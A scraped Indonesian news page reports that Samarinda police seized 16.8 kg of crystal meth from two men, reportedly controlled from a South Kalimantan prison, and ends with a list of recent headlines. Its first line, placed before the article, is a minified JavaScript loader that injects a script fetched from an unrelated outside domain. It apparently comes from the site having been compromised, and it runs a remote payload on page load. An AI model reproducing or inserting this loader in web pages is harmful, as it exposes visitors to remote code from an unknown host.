(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Timur

Polisi Gagalkan Penyelundupan Sabu 16 Kg dari Dua Pemuda di Samarinda, Disebut Berasal dari Lapas di Kalsel


KANALKALIMANTAN.COM, SAMARINDA – Polresta Samarinda berhasil menggagalkan penyelundupan narkotika jenis sabu seberat 16,8 kilogram di Kota Tepian yang dilakukan dua pelaku berinisial DK (22) dan RB (35).

Barang haram tersebut diamankan dari kedua tangan pelaku di sebuah rumah kontrakan yang berada di jalan AW Syahranie, Kecamatan Samarinda Ulu pada Rabu (16/2/2022).

Kapolresta Samarinda Kombes Pol Ary Fadly mengatakan, pengungkapan kasus ini berawal dari laporan masyarakat, kemudian tim dari Satresnakoba langsung melakukan pengembangan terkait laporan tersebut.

“Awalnya dari laporan masyarakat. Kemudian dari pengembangan laporan tersebut, Kami langsung melakukan penangkapan dan berhasil mengamankan pelaku berinisial DK,” ungkapnya pada Jumat (18/2/2022).

 

Baca juga : Banjarbaru Jadi Ibu Kota Kalsel, Intip Rencana Pembangunan Stadion Sepak Bola Berstandar FIFA

Setelah melakukan pengembangan lebih lanjut dari DK, kepolisian kemudian menangkap pelaku berinisial RB.

“Jadi kami langsung melakukan pengembangan dan akhirnya berhasil mengamankan pelaku (RB) di Jalan Nuri,” tambahnya.

Ary Fadly menjelaskan, berdasarkan pengakuan kedua tersangka barang haram tersebut akan diedarkan di seluruh Kalimantan Timur.

“Kami masih tunggu arahannya selanjutnya, otak atau pemilik barang ini karena yang kami amankan ini adalah rekrument dari pemiliknya,” jelasnya.

Ary Fadly mengatakan kedua pelaku ini merupakan jaringan yang diamankan sebelumnya setelah terungkap dan memiliki keterkaitan.

 

Baca juga : Musrenbangdes di Desa Bintang Kurung, Kades: Listrik PLN Masuk dan Siring Jalan Diperbaiki

Bahkan dari pendalaman kasus tersebut, barang itu dikendalikan dari salah satu Lembaga Permasyarakatan (Lapas) di wilayah Kalimantan Selatan.

Dari upaya penyelundupan barang haram tersebut, kedua tersangka mendapatkan upah Rp 10 Juta untuk berangkat ke Samarinda dan mengambil barang untuk diamankan.

“Upah mereka ini 10 juta untuk ke Samarinda, guna mengamankan barang tersebut,” bebernya.

Kini DK dan RS pun harus mendekam di balik jeruji besi dan dijerat pasal 114 ayat (2) juncto pasal 112 ayat (2) dengan ancaman 20 tahun penjara. (Kanalkalimantan.com/Suara.com/Apriskian Tauda Parulian)

Editor : kk


Desy Arfianty

Recent Posts

Kabupaten Banjar Laksanakan Penyusunan RDTR Wilayah Perencanaan Perkotaan Gambut – Kertakhanyar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More

11 jam ago

KPK Gali Keterangan Empat Saksi Terkait Aliran Uang ke Sahbirin Noor

KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More

11 jam ago

Ditreskrimsus Polda Kalsel Ungkap 46 Kasus Termasuk Judi Online

KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More

12 jam ago

LPTQ Banjar Audiensi ke Pjs Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More

15 jam ago

CEK FAKTA: Pernyataan Paslon Bahrul Ilmi Impor Guru dari Pulau Jawa, Bangun Jalan Beton di Batola

KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More

16 jam ago

Puluhan TPS Rawan Masuk Pemetaan Bawaslu Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More

17 jam ago

This website uses cookies.